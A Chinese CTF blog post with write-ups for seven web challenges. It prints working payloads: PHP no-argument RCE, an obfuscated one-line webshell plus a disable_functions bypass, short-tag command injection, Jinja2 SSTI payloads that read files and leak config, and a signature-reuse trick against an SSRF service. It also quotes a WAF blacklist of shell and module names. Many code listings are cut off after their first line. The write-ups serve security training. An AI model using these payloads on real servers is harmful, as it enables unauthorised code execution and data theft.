前言
凑字数用的,前言总要有点字在不显得空荡荡的。
[GXYCTF2019]禁止套娃
上来啥都没有,经过尝试信息搜集发现是git源码泄露,用GitHack获取源码:
1 | <?php |
过滤了伪协议相关的语句以及一些关键词,同时进行参数匹配,因此这是典型的无参数rce,这不巧了,前两天刚写的博客,因此直接用无参数rce的payload打就可以了。
由于过滤了et,因此之前博客写的一些函数不能用了,这里要用下面这个函数:
- localconv():函数返回一包含本地数字及货币格式信息的数组
我们用这个函数来获取第一个目录,即.
,当前目录,然后扫目录找到flag文件读取就可以了,payload:
1 | ?exp=show_source(next(array_reverse(scandir(current(localeconv()))))); |
[极客大挑战 2019]RCE ME
审计源码:
1 | <?php |
很明显的无字符webshell,取反即可,但是我们发现phpinfo中过滤了大部分函数,因此我们不能直接rce。
既然如此,先上传一句马:
1 | ?code=(~%9e%8c%8c%9a%8d%8b)(~%9a%89%9e%93%d7%db%a0%af%b0%ac%ab%a4%ce%a2%d6); |
在根目录下找到flag,但是不能直接读取,这里用蚁剑中的绕过disabled_functions插件,在虚拟终端中执行/readflag
读取flag。
[MRCTF2020]套娃
进入网页在审查元素中发现部分源码:
1 |
|
代码中要求获取的变量名不含有_
,用%20
代替即可,而下面的内容匹配比较常规,用换行符绕过即可:
1 | ?b%20u%20p%20t=23333%0A |
接着提示我们下一步在secrettw.php
文件中,访问发现由于ip不匹配,我们不能访问。但是在审查元素中发现jsfuck,控制台跑一下发现让我们POST一个Merak进去,随便POST之后得到源码:
1 | Flag is here~But how to get it? <?php |
审计代码,我们发现后端对ip进行了限制,对2333的内容进行了匹配,对file进行了change(),因此我们只要针对这三点绕过就可以了。
先反写flag.php
:
1 | <?php |
payload:
1 | ?2333=data://text/plain;base64,dG9kYXQgaXMgYSBoYXBweSBkYXk=&file=ZmpdYSZmXGI= |
[红明谷CTF 2021]write_shell
审计源码:
1 | <?php |
我们要上传两个参数,action表示模式,data表示写入index.php中的内容。发现waf把php过滤了,因此要用到短标签,而空格被过滤,在php中可以用%09
替代,payload:
1 | ?action=upload&data=<?echo%09`ls%09/`?> |
写入后访问pwd给出的路径,即可发现命令被执行,因此我们读取flag文件:
1 | ?action=upload&data=<?echo%09`cat%09/flllllll1112222222lag`?> |
[GYCTF2020]FlaskApp
有一个base64加密与base64解密网页,将{{2+2}}
进行base64加密后进行解密,发现结果为4,说明存在ssti。但是构建payload的时候发现有东西被过滤了,这里要bypass。
根据提示发现debug页面,发现源码为app.py
,因此是python flask。
我们先读取源码:
1 | {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('app.py','r').read()}}{% endif %}{% endfor %} |
发现waf:
1 | def waf(str): black_list = ["flag","os","system","popen","import","eval","chr","request", "subprocess","commands","socket","hex","base64","*","?"] for x in black_list : if x in str.lower() : return 1 @app.route('/hint',methods=['GET']) def hint(): txt = "失败乃成功之母!!" |
html解码:
1 | "flag","os","system","popen","import","eval","chr","request", "subprocess","commands","socket","hex","base64","*","?" |
因此这里需要进行字符串拼接,遍历目录payload:
1 | payload1: |
读取flag:
1 | payload1: |
[WesternCTF2018]shrine
看到题目就想到应该是shrine模板注入,进行测试:
1 | /shrine/{{2+2}} |
回显是4,说明存在ssti。推测{undefined{config}}
可查看所有app.config内容,但是这题设了黑名单[‘config’,‘self’]并且过滤了括号。不过python还有一些内置函数,比如url_for
和get_flashed_messages
。
payload:
1 | /shrine/{{url_for.__globals__['current_app'].config}} |
均可得到flag。
[De1CTF 2019]SSRF Me
进入网页看着一串代码头都大了,自己重新编辑下:
1 | #! /usr/bin/env python |
看起来挺复杂的,但核心其实就两个路由:/geneSign
和/De1ta
。我们发现/geneSign
路由是将param
和action
拼接而成的,接着返回到getSign()
中,进行md5加密。
接着是/De1ta
路由,在这个路由中获取三个变量,GET获取param,Cookie获取action和sign,在检查的时候要满足getSign(self.action, self.param) == self.sign
。
因此我们这样构建payload,首先:
1 | /geneSign?param=flag.txtread |
这样相当于我们获得了一个flag.txtreadscan
的sign值,接着:
1 | /De1ta?param=flag.txt |
这相当于我们的getSign(self.action, self.param)
为flag.txt+readscan
,和sign对应上了,而这样又能将param中文件内容读出并返回给我们,以此获取flag。